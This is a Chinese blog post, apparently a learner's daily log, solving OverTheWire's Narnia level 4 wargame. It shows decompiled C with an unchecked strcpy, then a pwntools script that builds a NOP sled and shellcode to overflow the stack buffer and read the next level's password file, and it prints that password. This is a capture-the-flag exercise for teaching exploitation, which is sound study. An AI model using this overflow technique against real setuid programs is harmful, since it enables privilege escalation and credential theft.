170829 WarGames-Narnia(4)

本文解析了WarGames-Narnia4关卡的解决方法,通过清除环境变量并利用gdb获取局部变量地址,最终生成ShellCode溢出得到下一关密码。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

1625-5 王子昂 总结《2017年8月29日》 【连续第330天总结】
A. WarGames- Narnia4
B.

Level 4
int __cdecl main(int argc, const char **argv, const char **envp)
{
  size_t v3; // eax@2
  int v5; // [sp+1Ch] [bp-104h]@5
  int i; // [sp+11Ch] [bp-4h]@1

  for ( i = 0; *(_DWORD *)(4 * i + environ); ++i )
  {
    v3 = strlen(*(const char **)(4 * i + environ));
    memset(*(void **)(4 * i + environ), 0, v3);
  }
  if ( argc > 1 )
    strcpy((char *)&v5, argv[1]);
  return 0;
}

environ是库中定义的环境变量指针
源程序的作用为先清空所有环境变量再将参数1Copy至局部变量v5中

这算是一个反提示吧,level2可以通过将ShellCode放在环境变量中的方式来call
不过同样也需要debug才能获得地址,所以我觉得两种call没啥区别啊

与level2同样方法,吸取地址会改变的教训,直接本地生成ShellCode后复制到远端执行,通过gdb得到esp地址后重新生成ShellCode溢出得到password即可

生成脚本为:

payload = asm(shellcraft.linux.cat('/etc/narnia_pass/narnia5'))
offset = (0x110 - len(payload)) * '\\x90'
payload ="".join(["\\x%02x" % ord(i) for i in payload+p32(0xffffd810)])
shellcode = ''' $(python -c 'print "''' + offset + payload + '''"')'''
print(shellcode)

其中,offset的长度为计算得到:由反编译可知v5位置为bp-0x104,但由于编译器优化时进行了对齐,因此可以先给出一个超长的offset(例如0x150,不过由于对齐通常只偏差小于16字节的长度,因此给出0x104+4+16即可),通过返回地址的错误值算出返回地址的位置
ffffd810为在gdb中debug得到局部变量v5的地址,通过NOP sled可以降低精度要求

运行得到password:

faimahchiy

C. 明日计划
Narnia5

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值